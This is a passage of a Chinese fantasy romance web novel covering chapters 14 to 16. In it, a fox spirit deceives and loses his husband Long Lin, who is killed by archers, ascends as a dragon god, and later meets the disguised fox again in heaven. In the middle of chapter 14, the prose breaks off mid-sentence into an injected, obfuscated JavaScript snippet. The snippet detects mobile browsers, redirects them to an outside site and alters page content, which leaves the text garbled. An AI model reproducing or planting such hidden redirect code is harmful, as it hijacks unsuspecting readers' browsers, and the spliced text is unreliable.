龙霖突然道:“当初,你就想离开我吗?” 白亦也不知道该如何回答。 龙霖的手像铁钳一样扣住白亦的手腕,力道大得几乎要捏碎骨头:“你当真不想跟我走?真要嫁给那个北燕人?” 白亦挣了一下没挣开,腕骨被掐得生疼:“龙霖,大局为重,你别闹了。” 龙霖开口:“我闹?我真的考虑了,我接受不了,这世上其他人我都不在乎,我只有你!” 白亦被这句话的重量压得几乎不能呼吸。 “白亦,”龙霖轻声,像是怕惊碎什么,“你想不想同我走?天下之大,我不相信没有我们的去处。” 白亦别过脸,下颌绷得很厉害,指甲深深掐进掌心,疼痛尖锐却清醒。他听见自己说:“跟你走,难道躲躲藏藏一辈子吗?龙霖,我不喜欢过那种生活。” 停顿片刻,他扯了扯嘴角,露出一个算不上笑的表情:“你也看到了,钟离邃对我很好,好得让我觉得,甚至嫁给他也没什么。” 最后几个字像钝刀割肉,一下一下。 龙霖的手指死死扣住他的手腕,骨节泛白,力道大得几乎要在白亦的手腕上烙下指痕,带着某种濒临爆发的狠意:“你骗我的吧,你最喜欢骗我了,他对你好,不过是喜欢你这副皮囊而已。他如果知道了你是妖,知道你是个男人,还会喜欢你吗?” 空气凝固了一瞬。 “只有我会一直喜欢你。” 这句话带着不容置疑的笃定,却又藏着几分不易察觉的恳求。 白亦抬起眼看他,唇角勾起一抹近乎残忍的笑:“我是狐妖,你不知道我们最大的本事就是魅惑人心吗?你以为他怎么会看上我,让我到北燕和亲,又是如何得到我的画像的?我故意的。” 龙霖:“你......故意的?” ”对。”白亦直视着他的眼睛,一字一顿道,“龙霖,我后悔嫁你了,所以回去吧。” 14.劫成 龙霖猛地挣开他的手,肩膀的线条绷得死紧,像是随时会断裂的弓弦:“......不可能,你骗我的......” 白亦站起身,背影冰冷:“我们妖族本就喜欢将你们凡人玩弄于股掌之间,最好搅得天下不得安生才最好。我过腻了和你在一起无趣又无聊的生活,龙霖,你懂吗?” 掌心的皮肤被掐破了,温热的液体顺着指缝渗出,他却感觉不到疼。 他不敢回头,怕一转身就会看见龙霖通红的眼眶,怕自己精心构筑的谎言会在对视的瞬间土崩瓦解。 所有人都等着龙霖归位,等着他担起那份与生俱来的责任,这份重担,不该被私情拖累。 白亦曾经真的痴心妄想过,若是龙霖永远只是个凡人就好了。那样他就永远不会发现,这场相遇从一开始就是精心设计的骗局,不会知道自己被怎样卑劣地接近、怎样刻意地引诱。 司晨曾问过他到底在图什么,他当时垂着眼睫撒谎,说只图一时真情就够。可真情哪有一时的?要么从未有过,要么刻进骨,从来不由人控制。 龙霖带着几分恍惚:“......你应该早些告诉我的。我就辞官,我们一起游遍山水......不会无聊的,我们还有机会的......” 白亦闭了闭眼:“没有机会了。” 幸好这是黑夜,龙霖看不见他脸上蜿蜒的泪痕,也看不见他死死咬住的下唇已经渗出血丝。 龙霖的声音带着他从未听过的卑微和乞求。白亦觉得心脏被撕扯得血肉模糊,他这么骄傲的人,为什么要被他逼到这般境地?他配吗? “如今我就要嫁给钟离邃了,龙霖,你回去吧。就当我们过去是梦一场。妖族本来就是很善变的......我本想分开的时候,大家都留一些好印象的。” “当初你说我们的婚事是我父亲允下的......可你知道,我父亲从来都没有一个姓白的故交。” 龙霖回忆着往事道:“他也从未给我定下什么婚事。我想劝你离开,可你投湖的力气好大,我差点没能抓住你。” 龙霖忽然扯了扯嘴角,露出一个算不上笑的表情:“我鬼迷心窍地就让你进了门,甚至暗地里去查过你的身世......却毫无线索,我想着我们两个人既然在这世上都无亲人,在一起也是好的。” 白亦的指甲深深陷进掌心,却再也感觉不到疼。 “白亦,我确实无药可救了。”他的声音很平静,平静得可怕,”明明知道你谎话连篇,处处破绽,我却还是舍不得你。” 龙霖缓缓站起身,重复着我可能真的没救了。 门被打开发出吱呀声,月光倾泻进来,勾勒出龙霖消瘦的轮廓,他的背影在月光下显得格外单薄,脚步蹒跚,仿佛心如死灰。 白亦的手指死死扣住门框,指甲几乎要嵌入木纹里。他硬生生压下了追出去的冲动,整个人脱力般滑坐在地上。 他胡乱抹了把脸,掌心还带着未干的湿意。司晨和司命那两个该死的不知又躲到哪里去了。至少,至少他得看着龙霖平安离开这里。 就在他撑着地面要起身的刹那,外面骤然亮起刺目的火光,将夜色撕开一道猩红的裂口。 钟离邃从暗处缓步走出,玄色衣袍在火把映照下泛着冷光。 他随意地抬了抬手,四周的侍卫齐刷刷亮出兵器,寒芒交错成网,将龙霖困在中央。 “竟然在我的眼皮子底下混了进来,”钟离邃的声音带着几分玩味,“宁国的龙大人果然是个人物。” 白亦猛地冲出去,他看到龙霖被刀光剑影包围的背影,心脏几乎要撞破胸膛:“你想干嘛!” 钟离邃的指尖轻轻敲击着剑柄,发出沉闷的声响,火光在他轮廓分明的侧脸上投下深浅不一的阴影。 “龙大人还真是情深似海,”他低笑一声,眼底却不见温度,“我挺欣赏你的,可惜生在了宁国。” 说着他语气里带着几分漫不经心的残忍:“据说你和宁国的皇帝已经生了嫌隙,若是你亲眼看见我们大婚,会是什么样的反应?” 龙霖始终不发一言。 白亦看着钟离邃:“你放过他吧。” 钟离邃的目光骤然冷了下来:“本王未来的王后可是私会他人,来人,将白姑娘请进去。” 话音未落,已有侍卫持剑上前,寒光逼得白亦步步后退,直至退回房内,随后是铁锁扣死的闷响。 “白姑娘,”钟离邃的声音隔着门板传来,模糊却清晰,“若是龙大人反抗激烈......我可能会就地给他埋了。” 兵器碰撞的锐响骤然划破夜色,金属相击的火星在黑暗中迸溅。 混乱中有人高喊“跑了,他跑了”,脚步声杂乱地四散开来,白亦的耳尖动了动。 他从未杀过凡人,正经修炼的妖族最忌杀业,就像凡人求仙问道需积德行善一般。每一条人命都是债,杀孽越重,反噬越狠,稍有不慎便会堕入魔道,万劫不复。 可此刻他顾不得这许多了。 白亦身形一缩化作原形,雪白的狐影轻盈跃上屋檐。夜风裹挟着血腥气扑面而来,龙霖的体内已没有他的内丹,几乎捕捉不到他的气息。 白亦在杂乱的追兵痕迹中屏息凝神,仍旧找不到人。 算了,先朝一个方向去。 古树参天的阴影下,龙霖半跪在地,长剑深深插进土里支撑着摇摇欲坠的身体。血珠顺着指尖不断滴落,在泥土上洇开深色的痕迹。他垂着头,凌乱的发丝黏在汗湿的颈间,整个人像是随时会随着下一阵风散去。 月光穿过枝叶斑驳地落在他身上,将那道身影照得支离破碎。 钟离邃站在几步之外,指腹缓缓抹过脖颈处的血痕,在月光下泛着暗红的光泽。他嘴角噙着笑:“龙大人做文官真是屈才了,居然能让我们追了这么久,我说了,若是你今日改投我北燕,我可以放过你和你妻子。” 龙霖的身体几不可察地动了动。 他抬起头,凌乱的发丝间露出一双布满血丝的眼睛,嘴唇干裂得渗出血丝,龙霖盯着钟离邃,喉结滚动了几下,艰难地吐出两个字:“......做梦。” 声音嘶哑得几乎辨不清字句,却带着不容错认的决绝。 钟离邃脸上的笑意骤然消失。 他伸手抽出瓦图腰间的佩剑,寒光在月色下一闪:“看来是不能留给白姑娘一个全尸了。” 剑锋划破空气的尖啸声骤然响起—— 就在剑刃即将触及龙霖咽喉的刹那,一股无形的力量猛然爆发。 钟离邃整个人被狠狠弹开,后背重重撞在古树粗壮的树干上,震得落叶簌簌而下。他闷哼一声,一口鲜血喷溅在衣襟上。 剑身“铮”地一声插进泥土,犹自颤动不休。 白亦的身形在月光下骤然拉长,由雪白的狐身化作人形,却仍保持着半兽化的状态,内丹太久没用,出现了融合凝滞。他蹲在龙霖面前,手指悬在半空微微发颤,终究没敢触碰那个伤痕累累的身体。 他转头看向钟离邃时,琥珀色的瞳孔已然变成妖异的竖瞳,手背上的绒毛在月光下泛着银光。 “你们都该死!” 北燕侍卫的反应极快,数十支箭矢瞬间对准了这对身影。 钟离邃被人搀扶着起身,脸色煞白,踉跄着后退,声音里透着从未有过的惊惶:“你到底是什么怪物!” 白亦抬手一挥,无形的妖力如巨浪拍出,最前排的侍卫顿时被掀翻在地,撞击声与惨叫声混作一团。 有人惊恐地尖叫起来:“妖精!是妖精!” 原本整齐的阵型瞬间乱作一团。月光照在白亦半兽化的面容上,将那张本该绝美的脸映得森然可怖。 钟离邃的瞳孔骤然收缩,随即迸发出病态的狂热,声音因兴奋而微微发颤:“把它给我抓住!带回北燕,这才是天神的旨意!” 北燕侍卫迟疑了一瞬,终究在王命之下硬着头皮冲上前。 白亦指尖一挑,地上的佩剑凌空飞起,寒光划破夜色,剑锋所过之处,鲜血飞溅,染红了月光。可他的妖力已然不稳,手臂被刀锋划开一道口子,鲜血顺着指尖滴落。 有人看出了他的勉强,高喊道:“保护王上!保护王上!” 混乱之中,龙霖微弱的声音却清晰地传入白亦耳中:“……白亦……不要杀人……我们走……我们回家……” 他的气息越来越弱,最终支撑不住,整个人倒向树干。北燕侍卫趁机护着钟离邃迅速撤离。 白亦扔下剑的手抖得几乎抱不住他,指腹轻轻拨开龙霖被血浸湿的发丝,捧着他的脸,下巴抵着他的额头,声音哽咽得不成样子:“龙霖,没事的……我们回家……我带你回家……我不走了……我再也不走了……” “……你这次不要骗我了……” 白亦哭得厉害:“我不骗你。” 龙霖的手指动了动,似乎想替他擦泪,却只将一滴血蹭在了他苍白的脸上。他张了张嘴,还未出声,白亦的狐耳骤然一颤—— 破空之声尖锐刺耳。 是北燕侍卫偷袭他们。 白亦甚至来不及反应,就被龙霖用尽全力翻身压下。 不止一道箭矢没入血肉的闷响在耳边炸开,龙霖的身体重重一颤,最后只低低吐出两个字:“……别……哭……” 话音未落,他的头便无力垂下,彻底倒在了白亦怀里。 白亦的手触到龙霖背后的箭,箭杆冰冷,几乎完全贯穿了胸膛,只留下短短一截尾羽露在外面。温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531678|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的血不断涌出,浸透了他的指缝,顺着腕骨往下淌,怎么捂都止不住。 那一刻,所有的声音都消失了。白亦张了张嘴,喉咙却像被什么堵住,半个字都挤不出来。他只能死死抱住龙霖,手臂勒得发疼,仿佛这样就能把人留住。可怀里的身体正在一点点变冷,冷得像冬夜的雪。 他喉咙里终于挤出一声嘶吼,那声音破碎不堪,像是从胸腔最深处硬生生撕出来的,裹着血,裹着痛,裹着再也无法挽回的绝望。 * 司晨在殿内来回踱步,几乎要把地面踏出坑来。他猛地刹住脚步,一把揪住司命的衣襟:“你快算啊!人去哪了?” 声音里压着濒临爆发的焦躁。 司命被他拽得一个踉跄,掐诀的手指微微发抖,“你别催我了!我这也不是在急吗?” 静竹翘着腿坐在案几上,茶盏在指尖转了个圈:“我说你们俩真行,把一个大活人都能看丢。” “谁能想到他会去找那蛇妖帮忙?”司晨烦躁地抓了把头发,“现在踪迹全无,连半点气息都摸不着!” “有了!”司命突然瞪大眼睛,“在北方!北方!” 他话音刚落,远处天际骤然炸开一声龙吟,金光如瀑倾泻,将半边夜幕照得亮如白昼。静竹手里的茶盏啪地摔碎在地,三人同时僵在原地。 司晨愣愣道:“……情劫居然……成了。” 不周山的雪永不停歇,寒风卷着冰粒刮在脸上,像刀割一样疼。白亦坐在山崖边,衣袍上干涸的血迹已经发黑,凝结成一片片暗褐色的硬块。 他整个人都在发抖,嘴唇冻得青紫,却固执地不肯挪动半步。手腕上缠着的布条被血浸透又冻硬,那是他一次次划开自己血脉给一个死人喂血所致,哪怕知道徒劳,还是执拗地将温热的妖血喂进那具冰冷的身躯里。 还是司命看不下去,给他披了件厚重的披风。 “要不你还是先离开吧,”司命叹了口气,“龙霖出来了我通知你一声。” 白亦摇了摇头,目光却死死盯着山洞入口,仿佛要把那厚重的石门看穿。 司命张了张嘴,风雪越来越大,几乎要将白亦单薄的身影淹没,只有那双眼睛还亮得惊人。 白亦已经在洞外守了整整七日。只要熬过今日最后一道天雷,龙霖便能出关。他正想着,忽然听见巨石轰隆移动的声响,连忙踉跄着站起来—— 龙霖就站在洞口。 明明还是那副眉眼,却仿佛脱胎换骨。墨发黑袍,周身萦绕着若有似无的金芒,连衣袂都无风自动。那双眼睛扫过来时,白亦呼吸一滞,只觉得寒意从脚底窜上来。 这才是真正的龙神,高不可攀,凛然不可侵犯。 司命快步上前,恭敬行礼:“恭迎上神归位。” 龙霖微微颔首:“此番渡劫,辛苦你了。” 声音不疾不徐,却带着说不出的威压。 白亦站在原地,不自觉地攥紧手腕上渗血的布条。他低头看着自己染血的衣袍,冻得发青的指尖,忽然觉得狼狈不堪。 正不知所措时,龙霖已经走到面前。 “伸手。”龙霖道。 白亦愣住,下意识把伤痕累累的左手藏到身后,迟疑着还是乖乖摊开右手。掌心突然一沉,一片金光流转的龙鳞静静躺在那里,光华内敛却不容忽视。 一旁的司命倒吸一口凉气,嘴唇动了动终究没敢出声。 白亦的指尖微微发抖,那片龙鳞触感冰凉,却又隐隐透着温度。 龙霖抬步欲走,白亦盯着掌心那片流光溢彩的龙鳞,突然慌了神:“龙霖,这......” “报酬。”龙霖没有回头,声音平静得像一潭死水,风雪在他周身盘旋,让人轻易近不得身。 白亦的指尖无意识蜷缩,龙鳞的边缘硌得掌心生疼。 “帮我渡劫的报酬。”他顿了顿,终于侧过半边脸,“而且,你不就是想要这个吗?” 白亦突然想起那日自己同怀曼的对话,原来被龙霖听见了,他张了张嘴,却发不出声音,只能眼睁睁看着龙霖化龙腾空而起,鳞爪飞扬间搅碎漫天风雪。 司命的声音在耳边响起:“你知道龙为何有逆鳞吗?那是有了心爱可以保护之人。龙霖既把此物给了你......” 剩下的话不用说完,白亦已经懂了,这是割舍,是了断,是干干净净抽身而去。 不周山的雪越下越大,白亦慢慢跌坐在冰面上。方才龙霖看他的眼神在脑海里挥之不去,冷漠又陌生,仿佛他们从未相识,更遑论相爱。 他看着掌心里的鳞片,忽然低低笑出声:“......白亦,这不是你想要的吗?” 笑声越来越哑,最后变成自嘲的哽咽:“这是你自作自受。” 15.再见 九重天的宫阙连绵不绝,琼楼玉宇在云海中若隐若现,各自矗立,互不相扰。 乱云宫偏殿的丹房里,药炉正咕嘟咕嘟冒着热气,白亦手忙脚乱地调整着火候,额前已沁出细密的汗珠。 听云小童进来时,白亦正把捣好的药末往玉钵里倒。 那童子身量还不到他胸口,却端着副老气横秋的架势:“今日上仙要回宫,你务必将寝殿打扫干净。” 白亦头也不抬,手指沾了点药粉在舌尖试味:“知道了,知道了。” 声音里带着显而易见的敷衍。炉火映得他侧脸发烫。 听云哼了一声,掏出本子唰唰记了一笔:“离你在乱云宫服侍上仙两百年的期限,”他故意顿了顿,“还剩下一百九十七年零三十天。” 白亦手里的蒲扇顿了顿,仰头长叹一声。 这事还得从两年前说起。那时候他办完了一件事,求了司命许久,他才勉强答应带他上九重天。 白亦只想见龙霖一面,哪怕只说一句“对不起”也好。 可九重天的宫阙一座比一座相似,金瓦朱墙在云海里浮沉,他原本跟着司命,结果转着转着就迷了路,正巧撞上了从瑶池回来的云邃上仙。 云邃,也就是下界的钟离邃,他当初下凡不过是为渡个小劫,谁曾想被暴怒之下的白亦一剑封喉。不仅折损了半数修为,更丢尽了颜面。 他拎着白亦后颈,那柄寒光凛冽的剑就横在白亦喉间,硬是逼着他签下了两百年的奴契。 更可恨的是,云邃还用仙术掩去了他原本的容貌,如今这副平平无奇的模样,连他自己照镜子都认不出来。 这两年来,天不亮就得起来扫洒庭除,夜深了还要守着丹炉火候,乱云宫的台阶被他擦得能照出人影。 如今这日子,当真是闻者伤心,见者流泪。 后来白亦断断续续听说了下界的消息。 北燕皇帝的死引发了一场绵延数年的战火,而真龙渡劫那日的金光却被凡人奉为神迹,各地纷纷建起庙宇供奉。宁国皇帝更是耗空国库为龙霖塑了金身,日夜香火不断,生怕上神降罪。 静竹公主据说为龙霖的死深受打击,深宫里郁郁寡欢了两年,最后竟一病不起。 宁国皇帝日夜忧思,他想起自己竟让真龙上神跪在自己面前,没过多久也跟着驾崩,四皇子邵宵登上皇位,第一道圣旨便是发兵北燕,几年后大获全胜。 邵宵在封阳县外的青山上修了两座衣冠冢。青石碑并列而立,碑前常年摆着新鲜的山花野果,也不知是谁放的。 当年见证真龙渡劫的妖族早已四散奔逃,热闹一时的封阳县渐渐冷清下来。 集市上再也见不到会说话的精怪,只有春风秋雨依旧年年光顾这座小城。 可奇怪的是,许多年后,城里上了年纪的老人聚在槐树下纳凉时,总爱提起当年那个龙姓书生说他如何才华横溢,说他那位温婉贤惠的妻子怎样圣手医术。 白亦有时会想,若是当年龙霖没有恢复神位,若是自己不曾说过那些绝情的话,如今凡间的故事,会不会是另一个结局? 云邃这次出门,据说是随几位上仙去收服作乱的妖兽了。 白亦手里的蒲扇有一下没一下地摇着,池面泛起细碎的波纹,映着云影,晃得人昏昏欲睡。他撑着脑袋,眼皮直打架,扇风的动作越来越慢。 “你给谁扇风呢?”云邃眉头皱得能夹死蚊子,声音里压着明显的不耐烦,“我在这。” 白亦连忙调转扇面方向。 云邃却突然坐直了身子,一把夺过蒲扇凑到鼻尖:“这扇子怎么一股味?” 他嫌弃地皱起鼻子。 白亦心虚地嗅了嗅,确实沾着股药味,估计是早上煎药时沾上的。他故作镇定地眨眼:“没有啊,我怎么闻不到。” 云邃不去追究,看着白亦装模作样的样子,忽然露出个意味深长的笑,随手把扇子扔到一旁:“你整日困在乱云宫,消息肯定不灵通,我这里听说一则龙霖上神的事,你要不要听。” 白亦看着云邃不怀好意的笑:“我可以不停吗?” “天帝近日又提起了静竹公主和龙霖上神的婚事......”云邃显然不如他的愿,故意拖长了音调,“龙霖上神这次,可是没拒绝呢。” 啪嗒一声,白亦手里的扇子掉在了地上。 云邃懒洋洋地捞起手边的酒壶,仰头灌了一口,他眯着眼打量白亦失神的表情,突然咧开嘴笑得恶劣:“不是吧,小狐狸,你该不会现在还念着龙霖吧?” 白亦没说话,只是突然伸手夺过酒壶,用袖子狠狠擦了擦壶口,仰头就灌。 烈酒入喉,烧得他眼眶发热。 云邃还未来得及反应,就听“腾”的一声,白亦毛茸茸的狐耳和雪白的大尾巴瞬间冒了出来。 白亦抱着酒壶坐在地上,眼睛湿漉漉的:“我知道不该想着他......可我有什么办法?他是高高在上的龙神,我不过是个小妖......” “停!你别哭!” 白亦越想越委屈。 云邃威胁道:“再哭今晚就去打扫妖兽笼” 白亦马上擦了擦眼角,吸了吸鼻子,妖兽笼又脏又臭,他才不要去。 云邃蹲在白亦面前而后建议道:“我知道月下仙人那有种药,吃下去你就完全没有这方面烦恼了,要吗?” 白亦摇头:“我不要。” 云邃摇头:“真是可怜。” “你若真的可怜我,不如放我走吧,我什么都干不好,还天天惹你生气,做饭也很难吃,熬药也熬不好,摔碎了不知道多少个盘子。” 云邃冷哼一声,他眯起眼睛,语气里带着不容置疑的强硬:“那就学,我就不信两百年还学不会。你害我折损半数修为,两百年都算便宜你了。” 话锋突然一转,他斜睨着白亦耷拉的狐耳:”不过......看在你对龙霖一片痴情的份上,三日后梦华池有道清会,龙霖也会到场,我倒是可以带你远远瞧上一眼。” 白亦原本低垂的头猛地抬起,耳朵尖抖了抖,又迅速蔫了下去。他无意识地揪着衣角,声音越来越小:“......云邃上仙,我能不去吗?” 白亦承受自己的确是乌龟心态了,可是当初连句像样的道歉都没能说出口,如今时过境迁,他哪还有脸出现在那人面前?龙霖怕是早就不记得他是谁了。 云邃瞧见他这副畏缩的模样,反而来了兴致,唇角勾起一抹玩味的笑:“怕什么?他又认不出你,你必须跟我去。” 三日后,白亦被云邃拎出了乱云宫。 听云小童抱着扫帚站在廊下,腮帮子鼓得老高,眼里直冒酸气。 一路上白亦几乎贴在云邃身后,九重天的仙气缭绕,各路神仙往来如织,惊得他尾巴毛都要炸起来。 那些金碧辉煌的宫阙长得一模一样,他生怕一个走神又迷了路。 云邃大咧咧地打听龙霖的座次,转头就与人换了位置,大马金刀地坐在了龙霖正对面。他回头冲白亦挑眉:“我贴心吧?这样你一抬头就能看见龙霖,让你一次看个够。” 白亦站在云邃身后,盯着他后颈的目光几乎要烧出两个洞来,真想再体验一次抹他脖子的感觉。 云邃似有所感回头,白亦立刻露出一个笑。 没过多久,白亦就眼睁睁看着龙霖入席。 多年未见,那人周身气度愈发凛然,一袭墨色锦袍上金龙盘踞,龙目如炬,仿佛随时要破衣而出。衣摆拂过玉阶时,在场众仙纷纷俯首行礼,而龙霖只是略一颔首,眉目间尽是疏离。 白亦下意识抬手捂脸,指尖触到陌生的五官轮廓才猛然惊醒,这副容貌早被云邃施法遮掩,何况龙霖的目光根本不曾扫过这边。 他悄悄松了口气,却又莫名觉得胸口发闷,只能低头盯着自己的鞋尖发呆。偶尔抬眼,就看见龙霖垂眸翻阅经书的侧脸,长睫在眼下投出浅浅的阴影。 那些晦涩难懂的经文在殿内回荡,白亦一个字也听不进去。他出神地想,龙霖这万万年来,是不是都过着这样清心寡欲的日子?不会觉得无趣吗?大概......是不会的吧。 龙霖真的把他忘得一干二净了吗? 如果真的忘了,那场与静竹公主的婚事......是不是迟早会提上日程? 做了那样的事,或许自己这辈子都不该再出现在这人面前。 殿外的云海翻涌,将阳光割裂成斑驳的光影,就像他被扯得七零八落的心思。 周围的神仙都带着随侍的小童,白亦正出神,突然被云邃一声“喂”惊醒,他才发现讲经已经结束,于是连忙凑上前布菜,动作熟练地给云邃面前的玉碟添了几样清淡的仙膳。 这两百年早让白亦习惯了九重天清汤寡水的饮食,连半点烟火气都没有,毫无食用价值。 云邃翘得意地冲他挑眉,同他低声道:“怎么样?让你一解相思之苦了吧?不是我说,我觉得龙霖长得还没我......” 白亦眼疾手快地夹起一块萝卜糕,直接塞进云邃嘴里,脸上堆着假笑:“上仙,别说话了,快尝尝这块萝卜糕吧。” 白亦没注意到对面席位上,龙霖的目光正直直落在这边。司晨尝了一口膳食,就见龙霖抬手制止了身旁小童的动作。手里双白玉筷子在龙霖掌心里悄无声息地化成了齑粉,直接从指缝间簌簌落下。 司晨动作一顿:“…………” 发生了什么? 等宴席的环节结束,白亦跟着其他仙童收拾杯盘。 云邃摆摆手让他去殿外候着,白亦点点头,临走前忍不住又偷瞄了龙霖几眼,要把那人的眉眼刻进脑子里似的,毕竟往后怕是再难有这样的机会了。 殿外的云阶上,各宫侍从三三两两聚着闲聊。 有人打量着他陌生的面孔,随口问道:“你瞧着面生,叫什么名字?” 白亦正把玉盏摞好,闻言顿了顿:“我以前在乱云宫做洒扫的,不常出来。” 恰好瞥见一旁流动的雾气,白亦开口说:“白云,我叫白云。” “云邃上仙不好伺候吧?”那声音带着促狭的笑意。白亦下意识点头,抬眼才惊觉问话的竟是方才站在龙霖身侧的绿衣小仙。 另一个仙童凑过来,压 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不知过了多久,云邃突然怒气冲冲而出,白亦匆忙朝余青点头示意,小跑着跟上云邃的脚步。转身的瞬间,他瞥见龙霖缓步迈出殿门的身影,在心底轻轻道了声再见。 回到乱云宫,云邃一头扎进库房,将箱笼翻得哐当作响。 白亦看着满地狼藉:“上仙要找什么?要不我帮你?” 云邃一屁股坐在地上,咬牙切齿道:“找个能赔给龙霖的宝贝!” 白亦满头雾水,接着就听云邃愤愤讲述起方才的冲突——龙霖拿着颗稀世琉璃假意请他鉴赏,他才刚碰到边角,那宝贝就摔得粉碎。 “我发誓我只碰到了一点,我才刚伸出一根手指!刚触手!还没摸上去,他绝对是故意的!他故意的!故意讹我!”云邃气得额角青筋直跳,“当着那么多人的面假装大度说不用赔,我云邃是占这种便宜的人吗?” 白亦听着云邃激动又愤怒的语气,道:“……龙霖不是那种人吧。” 云邃瞥了他一眼:“呵,你懂什么?” 他抓起个玉匣又重重摔回架上,震得梁上灰尘簌簌落下。白亦默默退后半步,生怕被殃及。窗外夕阳将云邃暴跳如雷的影子拉得老长,活像只炸毛鸡。 为了赔龙霖那颗所谓的琉璃珍宝,云邃几乎把库房翻了个底朝天。白亦看着满地奇珍异宝,嘴角抽了抽,这架势,不知道的还以为要赔的是九重天的镇天之宝。 他和听云只能一趟趟往启祥殿搬东西。 小童累得直喘气,白亦就让他坐在台阶上歇着,自己继续搬。听余青说龙霖外出未归,他更是加快了脚步,生怕被撞见。 搬完最后一箱,余青突然邀他进殿喝茶。白亦本想推辞,又怕显得刻意,只好硬着头皮跟进去,谁知道刚进去龙霖就回来了。 龙霖逆着光站在门口,白亦猛地后退几步,头垂得几乎要埋进胸口:“上神安好。” 他声音轻得像蚊子哼。 “你就是乱云宫里的人。”龙霖的声音从头顶传来。 白亦点点头,只盯着自己的鞋尖。 “叫什么?” “白云。”他听见自己说。 龙霖忽然走近,白亦连呼吸都停滞了。这人身上清冷的香气混着殿内的熏香,压得他头晕目眩。 "“白云……”龙霖缓缓重复,尾音微妙地顿了顿,“云,很好。” 不知是不是错觉,那个“云”字被咬得格外重。 “不是要喝茶吗?”龙霖淡淡开口,目光扫向一旁的余青,“去取茶来。” 白亦:“多谢上神,我突然不渴了……我还要替我家上仙收拾东西,就不......” 话未说完,龙霖已经亲手倒了杯茶递过来。 白亦下意识伸手去接,指尖刚碰到杯沿,那茶盏就直直坠了下去,在地上摔得粉碎。清脆的碎裂声在殿内格外刺耳,白亦整个人僵在原地,盯着地上的瓷片不敢抬头。 龙霖轻叹一声:“怎么乱云宫的人都这么不小心。” 白亦对天发誓,他只用手指碰到了一点点!亏他还在云邃上仙面前力挺龙霖,原来他真的这么卑鄙无耻! 龙霖弯腰拾起一片碎瓷,指尖在上面轻轻摩挲,惋惜道:“这套茶具是我最心爱的物件。九昧真火烧了七七四十九日才成器,陶土取自九幽河畔,为了这点泥,还斩了条九头蛇。” 白亦额角沁出细密的汗珠,僵硬地用袖子擦了擦,这也太贵重了。 龙霖继续道:“这釉色里的青,是角犀兽的独角磨的粉,你打算怎么赔?” 殿内突然安静得可怕,心想,龙窝里果然真是宝贝。 第二天白亦和听云扛着被褥站在启祥殿门口。 听云小童看着白亦,已经没了平日在他面前的趾高气昂:“云邃上仙这是将我们赔给龙霖上神了吗?他该怎么办啊?” 白亦看着听云小小年纪,露出了一脸超越年纪的迷茫,突然有些同情地拍了拍他的肩,道:“……云邃上仙,这会大概已经都快要裸///奔了。 16.白珣 余青领着白亦和听云穿过回廊,停在一处僻静的小院前。 听云是小孩,分到了门口那棵老树的浇灌差事,白亦则要负责打扫龙霖的寝居,内室日都要收拾得纤尘不染。 白亦心里直犯嘀咕,听云那张娃娃脸看着稚嫩,实则比他年长几千岁,哪算什么小孩? 他犹豫着开口:“要不……给我换个地方?妖兽笼也行。” 龙霖那么多宝贝,连云邃那样的上仙都赔不起龙霖的物件,他一个小妖,怕是砸锅卖铁也抵不上人家一块砖。 想到今后日日都要与龙霖打照面,白亦更加绝望了。 更让他心里打鼓的是云邃那日的话——他当真了解龙霖吗?记忆中那人端方持重的模样,与那日“碰瓷”时一本正经的神情重叠,忽然就变得模糊起来。 余青干脆利落地回绝不行。 白亦半夜突然从榻上惊醒,胸口像是被烙铁烫过般灼痛。他猛地坐起身,冷汗已经浸透了里衣,手指死死攥着床褥,指节泛白。喘息声在寂静的夜里格外粗重,喉间泛起血腥味。 凡间造下的杀业反噬来得比往日都凶猛,偏偏在这九重天上,他连痛呼都不敢出声。 他踉跄着推开门,夜风裹着莲香扑面而来。 不远处的水池突然传来“扑通”一声响,白亦整个人已经沉入池底。 冰凉的池水暂时缓解了体内的灼烧感,白亦刚松了口气,腰间突然被一只有力的手臂箍住,将他整个人猛地拽出水面。 “咳咳咳——”白亦趴在池边咳得撕心裂肺,肺里的水呛得他眼前发黑。好容易缓过气,一抬头就对上龙霖沉如深潭的眼睛。 那人正在拧衣摆上的水,月光照在他紧绷的下颌线上,明明白白写着“你最好有个合理的解释”。 白亦白亦被吓得反噬都不那么疼了:“......上……上身天气太热,小仙出来凉快凉快。” 声音虚得自己都不信。 龙霖眯起眼,忽然俯身逼近:“需要我送你去极寒之境凉快凉快吗?” 白亦想起关于极寒之境的传闻,那里据说不生一草一木,连神仙的元神都能冻伤。 白亦慌忙摇头,脸上的惶恐几乎要溢出来,他望着被自己搅得七零八落的莲叶:“明日……明日我一定收拾好。” 龙霖冷着脸没再多言,只丢下一句“去休息吧”便转身离去。 第二日清晨,白亦推开房门时怔了一瞬,院中的石径纤尘不染,连落叶都被归拢成整齐的小堆。更奇的是,昨夜那片狼藉的莲池竟已恢复如初。 白亦在启祥殿倒是行动自由。 他悄悄向余青打听了司命的住处,没办法,九重天的云雾在脚下流动,凭他这点微末道行,连南天门都摸不着边,更别说独自下界了。 余青狐疑地打量着他:“你打听司命做什么?” 白亦随口扯了个理由:“听说司命上仙能推演机缘,我就想去问问。” 司命殿的熏香呛得人头晕。 司命见到白亦这副陌生面容时,手中的命簿“啪”地掉在了地上,他急急上前两步,绕着白亦左看右看:“我当时有要务在身,就走得急了些,这些年一直在找你,你竟一直在乱云宫?” “可你怎么……变成这副模样了?” 白亦简短说了这两年的遭遇,提到云邃施法遮掩容貌时,司命突然长舒一口气,整个人像卸下重担般垮下肩膀,手指按着心口:“幸好……幸好你没事。” 白亦点点头:“说来话长......总之我如今又从乱云宫到了启祥殿。” 司命眼睛一亮:“那岂不是正好?你当初拼了命要来九重天,不就是为了见龙霖吗?” 白亦慌忙摇头:“不一样。” 司命说:“如何不一样?” “当初若能及时说声对不起,也算了一桩心事,可现在......” 算什么嘛。 白亦想起那日听到的消息:“他都要与静竹公主结为道侣了,我这时候出现算什么?” 